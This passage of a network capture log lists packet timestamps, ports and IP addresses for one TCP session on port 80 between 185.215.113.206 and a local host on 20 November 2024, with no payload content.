Nov 20, 2024 14:43:15.989486933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.989489079 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.989542961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.990523100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.990602970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.990688086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.990741014 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.991580963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.991647005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.991661072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.991836071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.992707968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.992760897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.992814064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.992881060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.993762016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.993834972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.993870974 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.993983030 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.994839907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.994910955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.994940996 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.995003939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.995975971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.996042013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.996552944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.996614933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.997033119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.997106075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.997203112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.997262955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.998102903 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.998156071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.998207092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.998250008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.999195099 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.999253035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.999299049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.999337912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.001928091 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.001943111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.002019882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.002067089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.002082109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.002115011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.002141953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016601086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016634941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016649008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016660929 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016674995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016681910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016695976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016697884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016712904 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016726017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016740084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016752005 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016753912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016767025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016772985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016782999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016793013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016797066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016810894 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016813993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016824007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016835928 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016840935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016851902 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016865015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016866922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016877890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016891956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016892910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016908884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016921043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016921997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.016937971 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.016962051 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.068098068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.068203926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.068273067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.068485975 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.068500042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.068535089 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.068557978 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.069607973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.069686890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.069736958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.069785118 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.070605993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.070677996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.070754051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.070799112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.071741104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.071757078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.071796894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.071819067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.072874069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.073009968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.073024988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.073046923 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.073877096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.073975086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.074032068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.074075937 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.124507904 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.124531031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.124618053 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.124701977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.125087976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.125144005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.125194073 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.125245094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.126068115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.126118898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.126200914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.127026081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.127077103 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.127346039 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.128426075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.128431082 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.128442049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.128484964 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.129475117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.129489899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.129534960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.130425930 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.130466938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.130603075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.131500959 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.131577015 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.131619930 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.132597923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.132612944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.132671118 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.133649111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.133775949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.133843899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.134804010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.134989023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.135051012 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.136058092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.136073112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.136126995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.136996984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.137154102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.137217999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.138034105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.138221979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.138278961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.139149904 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.139205933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.139338017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.140181065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.140218019 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.140264034 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.140366077 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.140410900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.141153097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.141168118 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.141207933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.141207933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.141706944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.141762018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.141905069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.141947985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.144987106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.145097017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.145154953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.145718098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.145736933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.145781994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.197469950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.197490931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.197544098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.197576046 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.197738886 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.197817087 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.198035002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.198050976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.198084116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.198098898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.198909998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.199209929 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.199266911 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.200229883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.200244904 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.200301886 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.201370001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.201376915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.201423883 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.202394962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.202410936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.202466965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.203409910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.203473091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.203682899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.203742027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.204514027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.204574108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.204691887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.204736948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.205401897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.205459118 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.205698967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.205746889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.206746101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.206800938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.206926107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.207161903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.207891941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.207904100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.207956076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.208967924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.208990097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.209033966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.210035086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.210095882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.210169077 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.210212946 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.211150885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.211162090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.211210966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.212266922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.212281942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.212326050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.213201046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.213215113 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.213258982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.214395046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.214416027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.214462042 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.215373039 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.215495110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.215553045 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.215902090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.215915918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.215967894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.216772079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.216841936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.216892004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.219970942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.219985962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.220092058 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.220525026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.220541954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.220587969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.220885038 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.220896959 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.220935106 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.220966101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.222053051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.222067118 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.222160101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.223016024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.223203897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.223258018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.224001884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.224050045 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.224277973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.224389076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.225100040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.225146055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.286323071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.286453009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.286715031 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.286958933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.286972046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.287028074 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.288070917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.288086891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.288119078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.288147926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.288984060 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.288997889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.289026022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.289045095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.289239883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.289280891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.289324999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.290263891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.290348053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.290395021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.291286945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.291330099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.291373968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.294008970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.334377050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.334491014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.334623098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.334894896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.335063934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.335123062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.336103916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.336148977 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.336165905 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.337013006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.337057114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.337095022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.337990046 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.338165045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.338295937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.338347912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.339376926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.339432001 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.339438915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.340271950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.340293884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.340322018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.340373993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.341304064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.341435909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.341485977 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.342431068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.342530966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.342578888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.343485117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.343689919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.343749046 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.344639063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.344757080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.344811916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.345613003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.345664024 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.345696926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.345988035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.346735954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.346781015 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.346836090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.346879005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.347793102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.347841978 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.347897053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.347939968 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.348864079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.348917961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.348959923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.349004984 CET	49715	80	192.168.2.6	185.215.113.206
